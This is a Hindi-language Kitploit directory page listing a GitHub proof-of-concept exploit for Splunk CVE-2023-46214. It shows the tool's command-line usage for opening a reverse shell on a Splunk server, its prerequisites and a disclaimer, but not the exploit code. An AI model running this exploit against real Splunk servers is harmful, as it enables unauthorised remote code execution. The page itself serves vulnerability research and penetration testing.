Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Splunk-RCE-poc — CVE-2023-46214 के लिए Python-आधारित PoC जो रिवर्स शेल के माध्यम से रिमोट कोड निष्पादन प्राप्त करने के लिए Splunk की adddatamethods सुविधा का शोषण करता है। | Kitploit
उपकरण/GitHubGitHub/nathan31337/splunk-rce-poc
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubnathan31337/splunk-rce-poc

Splunk-RCE-poc

CVE-2023-46214 के लिए Python-आधारित PoC जो रिवर्स शेल के माध्यम से रिमोट कोड निष्पादन प्राप्त करने के लिए Splunk की adddatamethods सुविधा का शोषण करता है।

रिपॉजिटरी देखें
1142352 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Splunk RCE - PoC

प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट CVE-2023-46214, SVD-2023-1104 के लिए

poc

उपयोग

Splunk इंस्टेंस URL, उपयोगकर्ता नाम, पासवर्ड, रिवर्स शेल IP और पोर्ट सभी कमांड-लाइन पैरामीटर के रूप में आवश्यक हैं। उदाहरण के लिए:

root@kitploit:~
$ python3 CVE-2023-46214.py --url <Splunk_URL> --username <Username> --password <Password> --ip <Reverse_Shell_IP> --port <Reverse_Shell_Port>

पूर्वापेक्षाएँ

  • adddatamethods पर अपलोड अनुमति वाली Splunk क्रेडेंशियल्स
    • नोट: कोई अन्य वेक्टर भी संभव हो सकता है, यह सिर्फ वही है जो मैंने उपयोग किया
  • Splunk SHC मोड में नहीं चल रहा है

विश्लेषण

मैंने एक ब्लॉग पोस्ट लिखी है जिसमें इस भेद्यता का पता लगाने के लिए अपनाई गई पद्धति का विवरण दिया गया है। यदि आपको स्क्रिप्ट के साथ कोई समस्या आ रही है, तो ब्लॉग सहायक हो सकती है क्योंकि इसमें शोषण के मैन्युअल चरणों का विवरण है।

CVE-2023-46214 + PoC का विश्लेषण

कानूनी अस्वीकरण

इस रिपॉजिटरी में प्रदान की गई प्रूफ ऑफ कॉन्सेप्ट (PoC) स्क्रिप्ट केवल शैक्षिक और शोध उद्देश्यों के लिए है। इसका उद्देश्य किसी विशिष्ट भेद्यता को प्रदर्शित करना और संबंधित सुरक्षा जोखिमों को समझने में सहायता करना है।

इस स्क्रिप्ट का किसी भी अनधिकृत गतिविधि के लिए उपयोग, जिसमें अनधिकृत सिस्टम एक्सेस, अनधिकृत परीक्षण, या दुरुपयोग के अन्य रूप शामिल हैं लेकिन इन्हीं तक सीमित नहीं हैं, स्पष्ट रूप से निषिद्ध है।

इस रिपॉजिटरी के निर्माता और योगदानकर्ता इस स्क्रिप्ट के अनुचित उपयोग या इसके उपयोग से होने वाली किसी भी क्षति या हानि के लिए सभी दायित्व अस्वीकार करते हैं। इस स्क्रिप्ट का उपयोग करके, आप इसे जिम्मेदारी से और अपने जोखिम पर उपयोग करने के लिए सहमत होते हैं।

टूल डाउनलोड करें